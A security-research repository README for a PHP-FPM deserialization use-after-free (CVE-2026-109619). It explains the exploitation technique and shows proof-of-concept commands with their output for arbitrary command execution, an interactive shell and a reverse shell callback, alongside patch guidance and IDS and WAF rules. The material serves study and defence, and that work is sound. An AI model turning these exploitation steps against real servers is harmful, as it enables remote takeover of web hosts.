Skip to content

About

CVE-2026-109619 (PHP2Shell): Pre-Auth Remote Code Execution (RCE) via PHP-FPM Stale Global State Deserialization UAF. Reproducible Docker lab, interactive shell, reverse shell & WAF/IDS rules.

Topics

Resources

Contributing

Security policy

Stars

2 stars

Watchers

0 watching

Forks

Repository files navigation

CVE-2026-109619: PHP2Shell — Security Research Lab & PoC

CVE-2026-109619 CVSS 9.2 RCE Verified Affected Platforms MIT License

A comprehensive research lab and exploit reproduction toolkit for CVE-2026-109619 (also known as PHP2Shell), a critical vulnerability in PHP's deserialization subsystem affecting persistent worker architectures (such as PHP-FPM), enabling pre-auth cross-request use-after-free and arbitrary remote code execution under the privileges of the web process.

CVE-2026-109619 Exploit Demonstration


1. Technical Analysis (Root Cause Analysis)

Vulnerability Overview

  • Component: PHP Deserialization Subsystem (ext/standard/var_unserializer.re)
  • Affected Versions: PHP 8.2.0–8.2.34, 8.3.0–8.3.35, 8.4.0–8.4.26, 8.5.0–8.5.11
  • Vulnerability Class: CWE-672: Operation on Resource After Expiration or Release / CWE-416: Use After Free
  • CVSS Score: 9.2 (CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N)

Defect Mechanics

  1. Unchecked Bailout in Deserialization: During deserialization, php_var_unserialize_init() initializes reference tracking structures and destruction chains in BG(unserialize).data, incrementing BG(unserialize).level = 1. If an in-script fatal error or memory exhaustion occurs (e.g. inside __wakeup() or class constructor), PHP executes zend_bailout(). Ordinary request cleanup routines (php_var_unserialize_destroy()) are skipped, leaving dirty global pointers and unzeroed reference counters in the worker's memory space.

  2. Persistent Worker Survival (PHP-FPM): In persistent multi-request architectures like PHP-FPM (pm = static or dynamic), child worker processes survive in-script fatal errors across HTTP requests without terminating. When a subsequent HTTP request arrives at the same worker process, it inherits the dirty BG(unserialize) parser state from the preceding aborted request.

  3. Cross-Request Reference Poisoning & Memory Corruption: When the surviving worker enters unserialize() again, it detects BG(unserialize).level > 0 and mistakes the new payload for a nested call within an already-active deserialization session.

    • By supplying cross-request references (R:1), the deserializer resolves pointers into previously freed memory.
    • By reclaiming the dangling 4096-byte first_dtor structure in Zend MM through controlled POST allocations, the attacker constructs a fake HashTable whose pDestructor points directly to zif_system.
    • Upon destruction, arbitrary shell commands are executed with www-data privileges.

2. Repository Layout

├── lab/
│   ├── nginx-fpm/           # Vulnerable Nginx 1.27 + PHP-FPM 8.4.26 environment
│   │   ├── nginx.conf       # FastCGI reverse proxy configuration
│   │   ├── php.ini          # PHP runtime configuration (memory_limit = 8M)
│   │   ├── fpm-pool.conf    # PHP-FPM static pool configuration (1 worker)
│   │   ├── lab.sh           # Container management script (up, down, status, logs)
│   │   ├── test_behavior.py # Diagnostic script verifying worker survival
│   │   └── webroot/         # Target web application endpoints
│   │       ├── cve_109619_poc.php   # Two-stage exploitation endpoint
│   │       ├── cve_109619_demo.php  # Diagnostic demonstration
│   │       └── index.php            # Worker status and PID baseline
│   ├── docker-compose.yml   # Multi-container lab orchestration
│   ├── run_lab.sh           # Lab startup script
│   └── stop_lab.sh          # Lab teardown script
├── poc/
│   ├── poc.py               # Full-featured network PoC (arbitrary RCE, interactive shell, reverse shell)
│   ├── universal.py         # Universal pre-RINIT exploit engine targeting session.upload_progress
│   ├── discover.py          # Dynamic endpoint crawler and parameter discovery engine
│   ├── scan.py              # Non-destructive passive vulnerability assessment scanner
│   ├── poc_raw.py           # Low-level Zend MM memory corruption exploit (zif_system)
│   ├── revshell.py          # Standalone reverse TCP shell handler
│   ├── profiles.json        # Affected version catalog and fix matrix
│   └── ui.py                # Terminal output and status helpers
├── rules/
│   ├── suricata.rules       # Suricata / Snort network IDS detection signatures
│   ├── modsecurity.conf     # ModSecurity / OWASP CRS perimeter WAF rules
│   └── semgrep.yml          # Semgrep SAST rule for unsafe unserialize calls
├── assets/
│   ├── showcase.gif         # Terminal demonstration GIF
│   └── showcase.webm        # High-definition screencast
├── docs/
│   ├── analysis.md          # In-depth technical root cause analysis
│   └── licensing.md         # License details
├── test_all.sh              # Automated verification suite for all lab services
├── php2shell.py             # Root CLI entrypoint
├── Makefile                 # Automation recipes
└── README.md                # Research report and documentation

3. Lab Setup

Docker is required to run the local lab environment.

# Start lab containers (Nginx 1.27 + PHP-FPM 8.4.26)
./lab/run_lab.sh
# or: make lab-up

Once running, the following endpoints are exposed:

  • Webroot Oracle: http://127.0.0.1:8180/index.php (SAPI & PID verification)
  • Target Vulnerable Endpoint: http://127.0.0.1:8180/cve_109619_poc.php
  • Diagnostic Endpoint: http://127.0.0.1:8180/cve_109619_demo.php

To shut down the lab:

./lab/stop_lab.sh
# or: make lab-down

To reset the lab with clean logs and fresh worker memory:

make lab-restart

4. Exploitation Scenarios

4.1. Scenario 1: Non-Destructive Vulnerability Assessment (scan.py)

Performs fingerprinting of PHP version, FastCGI SAPI, worker survival during in-script memory exhaustion, and cross-request state reuse without executing arbitrary commands.

python3 poc/scan.py -u http://127.0.0.1:8180/
# or: ./php2shell.py -u http://127.0.0.1:8180/ --check

Example Output:

target: http://127.0.0.1:8180
version: php 8.4.26 (vulnerable, php 8.4.26 < 8.4.27)
worker: pid 7
survival: ok (pid 7)
stale state: clean
verdict: vulnerable to cve-2026-109619

4.2. Scenario 2: Remote Code Execution (poc.py / php2shell.py)

Exploits the stale deserializer state across requests. Stage 1 triggers memory exhaustion inside __wakeup(), leaving BG(unserialize) dirty (level > 0) while the persistent PHP-FPM worker survives. Stage 2 supplies cross-request reference R:1 to resolve stale pointers in Zend MM.

Note

The exploit operates entirely at the PHP interpreter and Zend Engine layer without requiring application-level gadgets. For low-level memory corruption targeting native engine function pointers (zif_system), see poc/poc_raw.py and the pre-RINIT exploit engine in poc/universal.py.

The PoC accepts arbitrary targets (-u) and commands (-c):

Arbitrary Command Execution:

python3 poc/poc.py -u http://127.0.0.1:8180/ -c "id; uname -a"
# or: ./php2shell.py -u http://127.0.0.1:8180/ -c "id; uname -a"

Example Output:

target: http://127.0.0.1:8180
endpoint: http://127.0.0.1:8180/cve_109619_poc.php
parameter: data (POST)
command: id; uname -a
worker: pid 7
poison: ok
output:
uid=33(www-data) gid=33(www-data) groups=33(www-data)
Linux be467f30ca4c 6.12.113+deb13-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.12.113-1 (2026-10-15) x86_64 GNU/Linux

Interactive Shell Session (-i): Spawns an interactive shell prompt with readline support (arrow keys, command history, line editing):

python3 poc/poc.py -u http://127.0.0.1:8180/ -i
# or: make shell

Interactive Prompt:

[*] Poisoning BG(unserialize) parser state (step 1)...
[+] Worker poisoned! Surviving worker PID: 7

============================================================
[+] Interactive shell active! Type commands or 'exit' to quit.
============================================================

php2shell> whoami
www-data
php2shell> id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
php2shell> pwd
/var/www/html
php2shell> exit
Exiting interactive shell.

4.3. Scenario 3: Real TCP Reverse Shell (--revshell)

Launches a local listener on port 4444, triggers the exploit against the PHP-FPM worker, and executes a reverse connection from inside the Docker container back to the host:

python3 poc/poc.py -u http://127.0.0.1:8180/ --revshell
# or: make revshell

Reverse Shell Session:

target: http://127.0.0.1:8180
endpoint: http://127.0.0.1:8180/cve_109619_poc.php
bind: 0.0.0.0:4444
reverse connect: 172.18.0.1:4444
trigger: payload sent, waiting for connection...
shell: connected from 172.18.0.2:43304
shell: interactive session open (type commands, ctrl+d to exit)

www-data@8a6817fd2270:~/html$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
www-data@8a6817fd2270:~/html$ exit

4.4. Scenario 4: Automated Verification Suite (test_all.sh)

Executes an automated end-to-end regression test suite verifying container health, passive scanner accuracy, RCE payload execution, reverse shell callbacks, and unit tests:

./test_all.sh

5. Vulnerability Remediation

5.1. Upstream Patch Analysis

PHP maintainers remediated the vulnerability by introducing php_basic_early_rinit() called after zend_activate() and before sapi_activate():

  1. Zeroes all serialization and deserialization state (BG(unserialize)) unconditionally before input processing begins.
  2. Resets URL rewriters and locks before request execution.
  3. Explicitly cleans executor backtraces and superglobals (EG(last_fatal_error_backtrace)).

5.2. Defense & Hardening Guidelines

  • Update PHP Runtime: Upgrade PHP to patched versions:
    • PHP 8.2 $\to$ 8.2.35+
    • PHP 8.3 $\to$ 8.3.36+
    • PHP 8.4 $\to$ 8.4.27+
    • PHP 8.5 $\to$ 8.5.12+
  • Disable Dangerous Deserialization: Audit codebases and avoid passing untrusted user input to unserialize(). Enforce allowed_classes => false or transition to structured formats (json_decode()).
  • WAF Inspection: Reject incoming requests attempting serialized object injection (O:[0-9]+:) at perimeter reverse proxies.

6. Detection Signatures & Security Rules

The repository provides production-ready defensive rules in the rules/ directory:

  • Network IDS (Suricata / Snort): rules/suricata.rules detects anomalous inbound serialized object payloads and cross-request reference injections.
  • Web Application Firewall (ModSecurity / CRS): rules/modsecurity.conf inspects HTTP request bodies and drops unauthorized PHP serialized objects at the perimeter.
  • Static Application Security Testing (Semgrep): rules/semgrep.yml audits source code for unvalidated unserialize() calls.

7. Credits & Acknowledgements

  • Vulnerability Discovery & Research:
    • Calif & Wiz Research for the public research and architectural analysis of the PHP2Shell vulnerability family.
    • devploit for early vulnerability tracking and baseline research.
  • Extended Research Suite & Enhancements:
    • Interactive Remote Shell (-i) & Command Execution (-c): Full cross-request state poisoning and interactive terminal session.
    • Standalone TCP Reverse Shell (--revshell): Automated listener and container-to-host callback integration.
    • Reproducible Laboratory: Complete Nginx 1.27 + PHP-FPM 8.4.26 Docker Compose test environment.
    • Defensive Engineering: Added production-ready Suricata IDS rules, ModSecurity WAF rules, and Semgrep SAST signatures.
    • Automated Verification: End-to-end verification suite (test_all.sh) and regression unit tests.

About

CVE-2026-109619 (PHP2Shell): Pre-Auth Remote Code Execution (RCE) via PHP-FPM Stale Global State Deserialization UAF. Reproducible Docker lab, interactive shell, reverse shell & WAF/IDS rules.

Topics

Resources

Contributing

Security policy

Stars

2 stars

Watchers

0 watching

Forks

Releases

Packages

Contributors

Languages